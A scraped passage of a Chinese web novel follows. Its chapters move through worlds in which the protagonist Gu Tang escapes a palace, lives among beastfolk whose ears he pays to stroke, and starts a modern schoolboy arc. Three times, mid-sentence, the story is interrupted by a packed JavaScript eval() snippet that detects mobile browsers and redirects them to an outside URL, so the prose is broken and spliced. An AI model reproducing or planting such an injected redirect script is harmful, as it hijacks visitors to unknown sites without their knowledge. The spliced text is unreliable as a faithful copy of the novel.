“我们要不就这么带着陛下隐居起来吧,我见陛下之前整日处理政务也并不轻松,每天都闷闷不乐的,小小年纪心情总是这么郁闷可怎么成?会长不高的。” “这不是你我能决定的事情,一切都要看陛下的意愿。”佟胥冷冷道。 如果不考虑那些外界因素,让顾棠永远离开皇宫的确是个不错的选择…但是顾棠要是对帝位还存有一份念想呢? 做臣子的要忠心,是忠诚,也是死忠。有时候皇帝并不会看一个人是不是真心对自己好,只会看那人会不会照着自己说的话去做。 别看顾棠现在看上去脆弱不堪、可怜兮兮的,真要等到精力全部恢复了还不知道要是什么样子呢,会恼羞成怒的决定发兵从叛乱者那里夺回自己的领土也并非不可能。 或者换个角度说,顾棠会想着回到那个位置才是正常的,而他们这些臣子只用在顾棠做出决策的时候跟进并实施就对了。 路上,佟胥坐在前面驾着车,云憬州则在马车里小心的掀开帘子的一角冲他压低声音道。 “去卓郡吧,那里有我给自己准备的安全屋,先让陛下去我那凑合凑合,这阵风头过去了再说。” “你这家伙这么怕死?怎么全国各地到处都是你的安全屋。” “狡兔三窟嘛…我想着早晚有能用得到的时候,现在不就是吗?”云憬州讪笑道。 “也是…这次陛下一定会奖赏你的。”佟胥抬手挥了一下马鞭,心思有些飘忽。 就是不知道他们的小陛下现在失去了一切物质上的东西,还能何种方式进行奖赏。佟胥心里其实也有点期待奖赏。 马车行到了一处颠簸地点,顾棠被颠醒了,迷迷糊糊的睁开眼睛,揉了揉胀痛的额角,茫然的看了看四周。 “陛下!您终于醒了呜呜呜…”云憬州一直关注着他,第一时间就发现他醒过来了,嗷呜一声扑倒他身上,双眼含泪。 顾棠打了个哈欠,也跟着他一样眼角泛起了泪光,两人抱在一起会有一种惺惺相惜的味道。 佟胥很看不惯云憬州敢在顾棠面前这样放肆,但他手里还握着缰绳,没办法进到马车里面义正言辞的分开二人。 “好啦好啦…”顾棠有些不自在的把手搭在他肩上,脸颊泛红,“我这不是没事吗?如果不是你的聪明才智,我可能现在还被困在宫里呢,多谢你了。” 顾棠会脸红仅仅是因为不好意思。 云憬州这又哭又嚎的样子弄得像是刚跟他经历过什么生离死别一样,顾棠有些羞于开口自己刚刚只是睡了一觉,无事发生。 5. 被起义军俘虏的亡国之君(完) 李清御在当天晚上就出了皇城,谁也不知道他去了哪里,只知道他把皇位传给了那个一直陪着他打拼过来的好兄弟。 皇城的百姓们就不明白了,这个皇位是烫屁股吗?怎么这几个人都让来让去的,这么嫌弃的吗?那为什么还要打下天下来? 庆麟同样很郁闷。 李清御说不干就不干了,但是他也不愿意干啊!更何况他这还没做好计划呢怎么顾棠就不见了呢?难道还有别人来接应? 也是,这个小皇帝在皇位上做了这么久,怎么可能连一两个信得过的人都没有… 庆麟心里很堵,但是他偏偏什么都不能表现出来,因为这皇宫里到处都是李清御的眼线,他现在只能任劳任怨的处理政务了。 至于顾棠到底会不会被带回来…和他也没什么关系了,反正没人会怀疑到他头上来,他也什么把柄都没留下过,顾棠不会因此憎恨上他,李清御也不会因此就和他决裂。 …淦!为什么这些大臣看上去人模人样,写起字来却千奇百怪! 这边,李清御将皇城里一半的禁卫军都派出去寻找顾棠的踪迹了,他自己也精心挑选了一条路追去。 顾棠绝对不可能靠自己的力量逃出去的,他很了解这个小皇帝,一些小聪明是有的,但是更多时候愿意随遇而安,不喜欢做那些有风险的事。 也许是苍天有眼,李清御骑着马行进了一天一夜,眼看着就要撑不下去了,才停在路边的一个驿站打算休息片刻。 好巧不巧,顾棠他们也正好是这间客栈打算停下歇息一晚。 李清御给马填好草料回到房间,和衣躺倒在床上,刚闭上眼睛就听见隔壁传来一个让他有些耳熟的声音。 “咳…你看这儿也没有服侍你的人,要不你先用我凑活一下?” 这声音…他好像在上朝的时候听到过,这声音的主人好像还在朝堂上反驳过他的政见,但他一时间又想不起来到底是谁。 “不用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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不要以为兽人世界就不分三六九等了,相反,这里的歧视现象更加严重,像杰森这种父母分别属于不同基因的,只能算是杂交的产物,无论怎么努力都不会得到一份体面的工作,只能感谢上不得台面的活计勉强生活。 整日混迹于街头的他是这条街上第一个发现那名怪人的兽人。 对方头顶带着灰扑扑的兜帽,遮住了耳朵,浑身上下都被斗篷严严实实的罩住了,以至于杰森偷偷盯着那怪人看了半天都没看出对方是个什么物种。 狗?猫?兔子?老鼠?看对方的体型,也只能是这几个品种中的其中一个了。 杰森熄了烟,扯了扯带了些褶皱的衣领,嘴角泛起一丝意味不明的笑,走了过去。 “你好啊朋友,需要帮助吗?我好像从来没在附近看到过你。” 在顾棠抬头的一瞬间,杰森脸上的不正经邪笑就换成了纯良无辜的微笑,让他看上去就像一个真正的,好心的兽人。 他的面容是极具欺骗性的,除非特意表露出狰狞的一面,不然一般时候就连警察都会再来抓人的时候下意识的忽视掉他,也是靠着这张脸,哪怕没有那么体面,他也总是能混的风生水起。 “我…我是新搬来的,以后请多多关照。” 少年脸颊染上红晕,仰头的姿势让他那张本就漂亮秀气的小脸显得更小了,在路灯光芒的照射下,他眼神清澈明亮,像是盛着两颗耀眼的星辰。 不像是老鼠和兔子。 老鼠那种肮脏又阴暗的物种一个个长得也是歪瓜裂枣的,十分贴合刻板印象,至于兔子…这个世界上只有红眼睛的兔子兽人,这少年则是拥有一双极漂亮的琥珀色眸子。 “好说好说,你——是哪个种族的兽人?” 杰森笑眯眯的靠近他,衣衫上沾染的苦涩味道值往他鼻腔里钻,让他忍不住皱了皱眉,脚步后移。 “先生,这样很不礼貌。” 少年清澈好听的声音回荡在街口,周围的嘈杂声不知什么时候停了,他眼珠转动看过去,见对面那群年轻人都诧异的看向他这边。 杰森愣了一下,眼底的戏谑收敛了许多,“…这么硬气?小家伙,你身后有人罩着吗?” 少年却是摇了摇头,眼神依旧清澈明亮,没有一丝阴霾。 “没有,我是一个人生活的,在这边也没有认识的兽人。” 杰森微微眯起了眼睛,唇角勾起不怀好意的微笑,少年却当看不见似的,只自顾自的提着一个看上去就很沉的包裹,里面鼓鼓囊囊的,好像装的全是衣服。 “你能帮我提一下吗?我家就在前面,我有点没力气了…”少年把包裹往他面前递了过去,十分理所当然的,语气平静。 杰森也不知道是发了什么疯,等反应过来的时候那个包裹已经被他提在手里了。 还真挺沉。他都有些怀疑这少年一路上是不是都是用这个方法通过找人帮忙到达目的地的了。 “谢谢你,一会儿要进屋坐坐吗?”少年偏头看着他,笑盈盈的,“我叫顾棠,很高兴认识你。” 杰森直勾勾的盯着他笑颜如花的模样,头顶的耳朵在空中抖动了两下,耳朵上的绒毛看起来似乎很柔软很好摸的样子。 他并没有注意到,在他移开视线后,顾棠的眼神却突然瞥了过来,扫向他头顶颤颤巍巍的耳朵,两只眼睛直放光。 耳朵…是毛茸茸的耳朵!长在兽人身上的,带着温度的柔软的耳朵!好想摸呜呜呜… 好在这段路不算太长,不到1分钟就走到了,要不然顾棠要憋到何种程度就不得而知了。 “这就是你家?还挺干净的。” 杰森跟着进了门,把东西放在地上,抬头环视了一圈儿,眯了眯眼睛。 这里是联邦的旧城区,房子都是几十年以前的风格,能收拾成这样已经算是很不错了。 “嗯,我昨天专门请家政来打扫过。”顾棠摘下兜帽,把外套脱下来挂在架子上,随口道。 杰森站在客厅里看看这儿又看看那儿,满眼的新奇。 这还是他长这么大第一次被别人邀请到家里做客,怎么说呢…很奇怪的感觉,一时间形容不来。 “随便坐吧,我去给你拿饮料。” “啊?…哦哦。” 杰森不自在的挪到沙发边上坐下,眼睛直勾勾的盯着面前的茶几看了一会儿,片刻后,又忍不住看向厨房的方向。 在注意到顾棠头顶没有耳朵后,他慢慢瞪大了眼睛,心脏剧烈跳动了起来。 世界上千奇百怪的事情很多,杰森甚至在新闻里看到过有的兽人嫌弃自己的耳朵和尾巴长得丑陋而跑去医院割掉的,这种情况一般恢复的不会太好,肯定还会看出来点轮廓的。 其实一般的兽人从出生起是不会带出来尾巴这种多余的器官的,只有某些没进化完全的畸形儿才会带着尾巴长大,因为社会的包容性,他们也并不会受到别人的歧视。 但眼前这少年头顶只有柔软的黑色头发,原本应该是两个耳朵的地方光滑一片,看不出一点点那里存在过东西的痕迹。 “你…你到底是什么东西?!勾引我来这儿有什么目的?快说!要不我报警了嗷!” 杰森坐不住了,噌的一下从沙发上坐起,耳朵都炸毛了,伸出一根手指颤颤巍巍的指向顾棠,一双竖瞳睁得老大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17479731|201669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 顾棠不紧不慢的拿着两罐可乐回到客厅,怎料杰森看到他手里拿着的东西时情绪更激动了。 “你…你这恶毒的外星人!不知道狼是不能碰这种东西的吗?竟然想毒死我!好歹毒!” 狼跟狗的基因都大差不差,狗摄入一定量的咖啡因会中毒,杰森也是,一他去逛超市从来都没敢多看饮料区一眼,生怕自己买过一次就跟犯了毒瘾似的还想喝第二次。 虽然他现在的日子过得也不算多好,但还是勉强能活着的,要他“自甘堕落”是万万不可能的,他还是有底线的。 “…你原来是狼啊,我还以为你是狗狗呢。”真是的,白高兴一场。 顾棠又看了一眼他在空气里颤动的两只耳朵,眼神里闪过惋惜。 害…原来是不知道他的种族啊,虚惊一场,看来这少年并没什么坏心眼啊…等等,是狗狗也不行啊!果然对方就是对自己不怀好意吧! “你…你是真的不知道还是怎么回事?别想着骗我。” 人体实验?倒卖器官?众所周知,不同种族的兽人之间的器官是不能共用的,所以总有些有钱有势的兽人在得了严重疾病之后满世界的寻找和自己同族的穷人威逼利诱想让对方跟自己换器官。 如果你情我愿的话,联邦政府是不管这种事情的,所以杰森一直都觉得政府只是个被各种权贵掌控的空壳子。 但是他万万没想到这种事情有一天竟然会落到自己头上。 “你先冷静点。” 顾棠把可乐举到头顶,神情平静的后退了两步,和他拉开了距离,睁着两只真诚的大眼睛,似乎是想告诉他自己并没有恶意。 杰森此时什么都听不进去了,只一心的想逃离这个“危险”的地方。 去TM的被邀请做客!再待下去命都要不保了!今天过后杰森可能再也不敢随便接受别人的邀请跟对方回家了,这将是他一辈子的心理阴影! 顾棠看着他向门口冲去,下意识伸手揪住他的耳朵,因为对方比他高了半个头,他想捉住对方还是有点费劲儿的,要贴的很近才行。 于是杰森就突然产生了一种很奇怪的感觉,他觉得自己好像是被xing骚扰了。 后背处紧贴着一具温热的身体,头顶的耳朵也被从根部揪住——倒不是有多疼,就是有点胀胀的,还有隐约的发热迹象。 “你不要告诉别人好不好?我不想被当成怪物抓去研究…” 杰森愣了一下,喉结滚动,犹豫着转过身看向他,眼神里的戒备散去了,反而换上了些许探究的情绪。 他刚才的情绪确实有些过于激动了,可能是出于恐怖谷效应,类兽人物种的拟真度接近兽人但存在细微差异时,观察者会产生厌恶或恐惧情绪,而相似度超越临界点后情感反应转为正面。 …话说自己又不是什么好兽人,至于被一个瘦弱少年吓成这样吗? “你…你到底是不是兽人啊?” 7. 兽人世界的唯一人类(中) 顾棠咬着唇不言语。 有时候,沉默也是一种无声的肯定。 杰森松了口气,装模作样的拍了拍自己胸口,但紧绷的身体还是出卖了他。 “我不是兽人,我是人类。” 见他这样,顾棠噗嗤一声笑出了声,脸上的忧郁和委屈一扫而光,取而代之的是玩味的浅笑。 “…人类?人类是什么东西?我从来没听说过世界上还有这么个种族在…” 杰森讪讪的放下了手,心里嘀咕着眼前这个自称“人类”的家伙还真狡猾,幸好自己智商够用,要不然真要被骗过去了。 他现在就是单纯的后悔,后悔当时脑子抽了想收这“人类”的保护费。 “是一种远古生物,几万年前就灭绝了,我…我是从那时候穿越过来的。” 顾棠一本正经的编着瞎话,他也不在乎这番话能不能唬住杰森,反正他自己是说爽了。 “真的假的?我读书少,你可别忽悠我!”杰森头顶的两只耳朵完全竖了起来,看起来威风凛凛的,竟然还有几分霸气。 顾棠惊讶的看着他,似乎是在表达对他才疏学浅的嘲笑…骄傲如他,哪忍得了这个啊? “我当然听说过!就是…你说的也太玄乎了,我没法信任你。” 顾棠笑眯眯的从电视柜里拿出一个看着就很有分量的布袋子,微微敞开口,里面是几十枚闪闪发光的金币。 我去…这可是好东西,硬通货啊! 杰森发誓,自己这辈子都没见过这么多金子,要说不心动是不可能的,甚至于他对顾棠的警惕和恐惧都散去了一大半。 管他是不是兽人呢,能交流就行呗,而且还这么大方…活着是为了什么?可不就是为了赚够足够的钱能平平淡淡的过一辈子吗? “等等,答应我一个条件,可以不?”顾棠躲过了他伸过来的手,提着袋子的手指勾起。 “嗯…什么事?你先说说看。”杰森的眼睛艰难的从那袋子金币上移开,落在顾棠脸上,飘忽不定着。 现在别说是留在这儿做客了,就算让他暖床他都干!这么多金子还管他什么体面不体面?又不耽误兑换成钞票。 “每天让我摸摸你的耳朵和尾巴好不好?只摸摸就好,不会做多余的事的。” “好…好。” 杰森愣愣的接过,紧紧攥着钱袋的口子,感受着手里不轻都重量,他心里还有点恍惚。 这钱来的也太容易了…他心里总有点不踏实,但他很快就无暇顾及这些了,因为顾棠已经摸上了他的尾巴。 他的尾巴平常都是垂着的,软趴趴的,看着没什么攻击力,实际上也确实是这样,他浑身的攻击力都在四肢和比普通兽人要锋利上一些的牙齿上。 “唔…你、你别太过分!” 杰森是个混不吝的,哪里被人这样对待过?脸色瞬间阴沉了下来,压低声音,挣扎的力度不算大,似乎只是想给人一种威慑感。 “金币…”但很显然,顾棠的话在现在这种情况下更具有威慑力。 杰森身体一僵,耳朵也垂了下去,看上去蔫蔫巴巴的,在顾棠的磋磨下时不时不自在的甩甩尾巴。 不寒颤,不寒颤…看在钱的面子上,现在的忍耐都是值得的!…嗷呜!那里可是尾巴根! “你抖什么?是不喜欢我的手法吗?”顾棠松开了手,上下打量着着他,轻哼一声,背过身去。 “没…没有,我很喜欢,就是有点痒,一时间没控制住嘛…” “行了行了,你回去吧,明天晚上再来,我要睡了。”顾棠边说边扯着他的夹克外套把他往外面拽。 “等等!那个…我以后怎么称呼你…您?” 杰森眼疾手快的扒拉住门框,两只大手支撑在门框上一脸讪笑。 啧…自己怎么就这么没出息呢?不过是被摸了两下就…真羡慕那些坐怀不乱的,自己要是像他们一样忍得住就好了,说不定对方摸得过瘾了能再给他点什么东西呢。 可惜今天他被赶出来了,一切也就都成了空话。 “不用那么客气,叫我主人吧,显得亲切些。” 顾棠把他推出门,关门之前还不忘捏了一把他的耳朵,声音听不出喜怒,但看脸色,应该是没生气的。 杰森被关在了门外,周围静悄悄的,他本人则是站在门口半天,然后不自在的薅了一把自己的一只耳朵,同时尾巴也抖了抖。 他耳朵和尾巴上细软的毛毛被抖落在空气中,飘飘悠悠的落在地上,又随风被吹起,不知飘到何处。 怎么突然还有点失落了呢?…今天发生的怪事实在是太多了,他需要回去好好消化一下,至于明天还要不要来…他还需要好好考虑一下。 * 第二天,顾棠带着兜帽出了门,家里没什么吃的,他今天的目的就是填满储物柜和冰箱…还有在附近找到他心心念念了好久的猫猫兽人! 虽然不如真正的猫猫一样浑身都是柔软好摸的毛毛,但毛茸茸的耳朵和尾巴也很吸引人了,最起码比招惹上一条蛇或者虫子蜘蛛壁虎一类的兽人要好些。 顾棠推着手推车带着耳机行走在货架之中,眼神扫过一个个商品,不一会儿推车就看不见底了。 里面的速食食品居多,还有一些新鲜的水果、鸡蛋一类的,唯独没有蔬菜和生肉。 他不太会擅长做饭,做出来的东西只能达到入口的程度,要是要每天来三顿,那他可能会先一步对这个世界失去兴趣,草率的离开。 出了超市后,他提着两大兜子东西吃力的往家赶,看上去消瘦的身形晃晃悠悠的,有几次都差点摔倒,终于,有个路过的兽人看不过眼朝他走了过来。 “你好,需要帮助吗?” 顾棠抬头,不好意思的朝他笑了笑,精致秀气的脸上因为用力泛起丝丝红晕,不算太明显,但却让对面那兽人呆了片刻。 “唔…可能需要,你先帮我提一个行吗?我家离这不远,几分钟就能到,我会报答 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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虽然生了一张极好看的脸,但是这名兽人在生活中应该是个不拘小节的人。 “葡萄汁可以吗?”顾棠看了一眼他头顶半立起的“猫耳”,故作不经意的问道。 这是为了进一步确定眼前这名兽人的品种,毕竟耳朵是藏在头发里的,只能露出来一小半,有时候靠肉眼实在是让人分不真切。 “可以。”罗伊脸上的神情没有任何变化,眉眼间似乎还升起了一股雀跃的情绪。 喜欢葡萄?看来并不是一只猫猫呢…会是狐狸吗? 没过一会儿,顾棠端着两杯葡萄汁回到客厅,把其中一杯递给他,然后跟他并排坐在沙发上喝着果汁。 “谢谢。” 罗伊微微颔首,展现出了良好的素养,和昨天晚上见过的杰森给人的印象完全不同。 顾棠抿了一口葡萄汁,把杯子放下的同时指尖一勾,头顶的兜帽就滑落了下来,露出柔软蓬松的黑色头发。 “你也住这附近吗?” 罗伊“嗯”了一声,慢吞吞的把杯子放在了桌上,里面的葡萄汁已经少了一大半了,他或许是觉得一口气全喝了不太礼貌,所以还留了一半。 “以后买东西注意着点,要是再买多了…找我陪你也行。”这样就又可以喝到这么美味的葡萄汁了…哎?那里怎么… 罗伊瞪大了眼睛,眼底满是惊愕和不可置信。 8. 兽人世界的唯一人类(下) “你…你是把耳朵收回去了吗?是怎么做到的?真厉害,我从来没见过兽人能像你这样。” 罗伊的脑回路是如此的清奇,以至于他看见顾棠身上的那点不同之处都会下意识的为对方找各种各样的借口解释。 顾棠能听出来他语气中的敬佩是真心的。 骗骗杰森这种混了几年社会有点戒心的兽人顾棠可能会很有成就感,但是骗罗伊这种看着眼神清澈,做事也很有章法的兽人…顾棠其实是有一点点望而却步的。 但是谁让对方的耳朵看起来这么好rua呢? “我是人类哦,就是你们历史课本上的一种在几万年前就灭亡了的物种,你应该知道的吧?” 顾棠故意反问他,脸上神情坦坦荡荡的,跟蒙杰森的时候如出一辙。 这让罗伊感觉不知道这么个种族好像是自己学识不够…作为一名从小就接受高等教育的有修养的兽人,他的骄傲不允许他被当成土包子鄙视。 “我当然知道!我刚才就是…跟你开玩笑呢。”几秒钟过后,他觉出了不对,犹豫着问道,“你刚才说…你们人类早在几百年前就灭亡了?那你为什么会…” 顾棠一副“你有所不知”的表情,头头是道的讲述了起来。 “我不都说了嘛,是在你们的历史课本上显示灭绝,并不是真的灭绝,我们人类其实还有一小部分活了下来,只是现在大多数兽人都不知道我们的存在罢了。” “原来是这样吗…”罗伊愣愣的听着,反应过来之后面上泛红,撇过头去,“不用讲的这么详细,我都知道的,就是想确定一下你到底是不是人类。” “我能摸一下你的耳朵吗?看起来好软哦。” 罗伊又把脑袋转了回来,眼睛都瞪大了一些,似乎是不理解为什么话题会突然跑偏到这种东西上面。 “…可…可以吧?” “当然可以啦,毕竟你都这么乐于助人了,肯定不在意我的这点小请求吧?” “…嗯。” 摸耳朵在兽人之中算是很亲密的动作了,但罗伊现在根本就没把顾棠当做是自己的同类。 也许对方只是自己没有毛茸茸的耳朵,才会对其他兽人的耳朵感兴趣呢? “你耳朵上的毛毛是红色的哎…真软,还热热的。” “因为耳朵上有很多毛细血管,是专门用来散热的器官。”罗伊认真解释道,还贴心的把头往他面前伸了伸,方便他更好的抚摸。 “哦…” 顾棠捏了捏他耳朵尖尖上的绒毛,手一抖,竟然给揪下了一小撮来,细软的糯白色浮毛漂浮在空气中,有点像是从柳树上被吹落的柳絮。 罗伊一点感觉都没有,只是半天都等不到顾棠温热的指腹再次落在自己耳朵上,有些疑惑的扭头看了过来,他眼睛很尖,一下子就看到了漂浮在顾棠眼前的毛毛。 “没关系的,就算你不摸的话表面上的那层浮毛也会掉的,只是时间早晚问题。” 罗伊还天真的以为顾棠是被自己突然掉毛的场景吓到了。实际上顾棠只是被毛毛弄得有点想打喷嚏、停下动作来想平复这种冲动而已。 “…不摸了吗?” 罗伊突然间就有点小失落了。 他也不知道自己是在留恋这名人类指尖的温暖还是桌上那杯被喝了一大半的爽口冰葡萄汁,又或许是两者都有吧。 “你身上其他地方也会长毛毛吗?比如说肚子,或者后背什么的。” …这跟当场被问内裤是什么颜色有什么区别? 罗伊有点不想回答这个问题,但别扭了半天,他还是闷闷的开了口。 “这方面…我们应该是一样的吧?该有的地方都会有点,该没有的地方都是一点都没有的…除了体表的那层绒毛。” 顾棠认真的点点头,表示理解。 “你家也在这附近吗?以后我还能找你玩吗?我们可以一起去饮品店里喝葡萄汁。” 玩什么?就像今天一样吗?但是他怎么老觉得被玩的是自己呢?罗伊犹豫了片刻,闷闷的点头。 他对葡萄汁完全没有任何抵抗力。 在之后的日子里,杰森对待他的态度从之前的不情不愿转换成了殷切,如果不是清楚这个世界没有鬼魂,顾棠都要以为眼前这名兽人是被什么脏东西附身了。 昨天晚上他才发现原来是被他摸过耳朵的两名兽人开始了内卷。 顾棠也不知道这俩是怎么搅在一起的,反正等他发现的时候这俩已经相看两生厌了。 顾棠完全没有去劝架的意思。 他的这个世界任务合格的标准是摸过三个不同种族兽人的耳朵或尾巴,想要完美完成任务就要摸过五双耳朵,他现在最少还要找一名兽人,至于以前摸过的两个…可以暂时放在一边了。 别以为这任务看着挺简单的,实际上在兽人的世界里不打声招呼就摸耳朵的行为是很不礼貌的,当然,被摸的兽人表示同意就没关系了。 * 顾棠今天特意起了个大早,穿着带兜帽的运动服在街区广场上一圈儿接着一圈儿的晨跑,一双眼睛时不时打量一眼周围路过的兽人,一两秒过后又失望的移开目光。 现在的兽人都是怎么了?怎么长得都奇形怪状的?要人样没有人样,要兽样没有兽样的…简直辣眼睛,亏他能在那么短的时间内就在附近找到罗伊和杰森两个还算不错的兽人。 “你看什么呢?是不是在找那个狐狸精?别白费力气了,他昨天晚上根本就没回来,也不知道是去哪里鬼混了…真差劲,你以后还是离他远点吧。” 顾棠被耳边突然出现的声音吓了一跳,停下了脚步转过身看向不知何时出现在自己身后的杰森。 这家伙叽叽喳喳的说了这么长一段话,表达的中心思想到底是什么?还有…这个世界也有狐狸精这种称呼吗? 说实话这种话在这个世界应该算不上骂人吧,罗伊确实是一只小狐狸,尖尖的耳朵也很好rua呢。 “你有没有什么认识的兽人?最好是那种耳朵毛茸茸的…” 自己找还是效率太低了,既然杰森送上门来了那正好问问对方。 “…啥?”杰森感觉自己的大脑空白了一瞬,他磕磕绊绊道,“有、有吧…你要干什么?” 顾棠则是无辜的笑了笑,“只是想认识一下嘛…你觉得我像是坏人吗?” “长得不像,但是…”做出的事情有点像…这话杰森是不可能当着他的面说出来的。 “但是什么?”顾棠脸上的笑容更加和善可亲。 “咳…你知道的,有些兽人受不了这个,你要是碰上那种硬茬可怎么办?说不定还会被发现身份抓起来做研究…很可怕的!” “你认识小猫咪吗?我很喜欢那个品种的兽人,想找个靠谱的谈一段恋爱。” 顾棠看上去一点也不在意,还有心思为找到最后一个目标奋斗,殊不知他的这番话给杰森带来了多大的刺激。 杰森突然一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17479733|201669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 言不发的攥住他的手腕,带着他来到公园的长椅旁,按住他的肩膀把让他在长椅上坐下。 “有我和那只狐狸精还不够吗?你要清楚你住的是什么地方…除了贫穷和品种低贱的兽人,哪会有什么好兽人住在这种地方?” 顾棠盯着他看了一会儿,突然笑了。 “你们俩不也不情愿吗?我怎么能做强迫兽人的事呢?好啦好啦,不要在我面前装模作样了,报酬不是已经给你了吗?想离开就趁早吧。” 杰森气得脸都绿了,瞪着他笑盈盈的好看面容,一时间失了语。 “…顾棠,你怎么能这么想我?这些天我也没再要过你的钱啊…” 杰森的耳朵都耷拉了下来,他一只手伸进口袋里摩挲着烟盒里的一支烟,心里郁闷极了,偏偏又觉得自己的话没有半点说服力,满腔的郁闷都无处发泄。 “唔…是钱不够多你看不上眼吗?”顾棠故作思索。 “…你是不是脑子秀逗了!”杰森有些破罐子破摔了,“你们那时候一个人是可以同时有多个伴侣的吗?” “你这人真是不讲道理,脾气还坏。”顾棠皱起了眉,但还是回答了他,“当然不是,我们人类是很专一的。” 就算不专一,法律也会强迫你专一,当然,他并不觉得专一有什么错,对普通人来说,专一就代表着平稳和睦的生活…除非遇到那种特别烂的人,这时候法律就又会派上些用场了。 “那就对了…我们的社会也是这样,所以你不可以同时与好几个兽人保持关系的,知道吗?” “我们之间不是纯粹的金钱关系吗?” 顾棠发出了来自灵魂深处的疑问。杰森一时间竟然被他问住了。 “我和罗伊也只是纯粹的利益交换关系而已,是你的思想太龌龊了。” 杰森从前只被人说过思想不端正和总是吊儿郎当是没个正形一类的话,这还是第一次有人说他思想龌龊的!开什么玩笑?他可是很自爱的!从来没被其他兽人碰过耳朵和尾巴! 天底下像他这么自爱的兽人已经少之又少了,顾棠竟然还这么说他…杰森憋屈的眼睛都红了。 回去之后杰森虽然憋着一口气咽不下去,但还是从通讯录里翻出了一个他认识的猫族兽人推给了顾棠。 他已经有些疯魔了,他总觉得就算自己不帮顾棠找一个,罗伊也会这么做的,又或者是什么其他不三不四的兽人… 还不如他主动找个品行端正的、不容易被蛊惑的兽人介绍给顾棠认识,最好还是个不怎么好相处的,这样他也不用担心顾棠会真的喜欢上对方。 等等…顾棠喜欢上谁跟自己有什么关系?他真是疯了。 * “你,你是猫猫吗?” 克莱因困惑的眨巴眨巴眼睛,头顶的耳朵抖动了一下,声音有些冷淡。 “嗯。” 克莱因很讨厌社交,他平时非必要都是不出门的,会认识杰森也只是因为对方天天在外面晃荡,他家有时候物资不够可以托对方从超市带些,给些小费就行。 结果今天对方也不知道是抽了哪门子的风,非要给自己介绍个人。 克莱因心里很不情愿,但想着已经让对方帮了这么多次忙了,自己也不能一点表示都没有,况且只是见一个人而已,还在他可以忍受的范围之内。 不过…猫猫。这个称呼听起来很可爱,对方竟然会用在他身上吗?他觉得自己跟可爱一点都不沾边,反而有一点惹人厌。 9. 主角攻的阳光小跟班(一) 中央空调有错吗? 顾棠就特别不理解,明明自己才是一直在给别人情绪价值的那个人,却总有人在背后妄议他,恶意揣测他的一言一行,就算他真做了什么坏事似的。 其中在外抹黑他形象抹黑的最凶的就是他那个从小就无话不谈的好兄弟周远麟了。 “他啊,又不知道跑到哪去了,谁知道呢…可能是又去挥发善意了吧,他这人就是爱给自己找事,不用管他,咱们玩咱们的。” 周远麟可真是个混蛋… 对方说这话的时候,顾棠正好站在门口,脸上还挂着笑容,手搭在门把手上。 很久很久,直到服务员端着托盘小声叫了句“先生,请让一让”,他才恍然间回过神来,后退了几步,然后转身消失在了走廊里。 虽然也不是什么过分的话,但是顾棠就是很讨厌别人这么说他,于是从那个时候开始他就单方面决定和周远麟绝交了。 他决定去找一个不会在背后唧唧歪歪的给他找不痛快的朋友…或者随便什么人吧。 于是他找到了当时在他们圈子里最有名的齐家大少爷,齐晏。 齐大少爷是出了名的人狠话不多,手下小弟众多,他自己却更愿意单打独斗,这么多年里不知把多少个圈子里的纨绔子弟打的哭爹喊娘过,而且每次被打过的纨绔们都不敢回家告诉父母,因为怕再遭一顿毒打。 齐家在京市很出名,是京市的龙头企业,齐晏还是齐家这一代的独苗,但他却没养成顽劣的性子,反而早早就开始接触了家族事务,妥妥的别人家的孩子。 然而顾棠却觉得他的家世是次要的,他小弟众多,根本管不过来才是自己最看重的。 就这点而言,齐晏肯定更抽不出时间管他一个新加入这个小团体的人了,顾棠对此感到很安心,还有种莫名的轻松感。 有了这个想法的第二天,他就把想法付诸于实际了。 周末,他破天荒的起了个大早,带着自己亲手做的一袋子饼干和两盒名贵茶叶去拜访了齐家。 齐晏的父母正好在家,看着门外笑的一脸灿烂的好看少年,两人同时一愣,然后接过礼物把顾棠让进了屋。 顾棠很懂得小辈的礼节,规规矩矩的坐在沙发上,对二老的问题一一回答着,不卑不亢,看着就是有着良好家教的那种小孩。 不过…这么乖这么听话的孩子怎么会和他们家齐晏有什么关系呢? 齐晏从小就皮,15岁之前没少惹祸,也是近两年才沉淀下来慢慢收了心的,齐父齐母是这个世界上最懂自家儿子的两个人了,而就是懂才会诧异。 正当三人聊的正开心时,齐晏穿着一身灰色睡衣揉着眼睛从楼梯上走下来,嘴里还嘟囔着。 “这么早啊…家里来客人了?”他一眼就看见了沙发边上坐着的顾棠。 “齐晏哥,你好,我是顾家的顾棠,能和你交个朋友吗?”少年笑盈盈的抬头望着他,眸子亮晶晶的,像是盛着一汪清泉,又像是流转着星河,灿烂无比。 齐父齐母在一旁疯狂给自己儿子使眼色,但齐晏就像是中了邪似的眼球在眼眶里转都不转一下,傻愣愣的。 不是说好了这家伙很厉害的吗?为什么看起来……顾棠眨眨眼,有点不知道自己这个决定是对还是错。 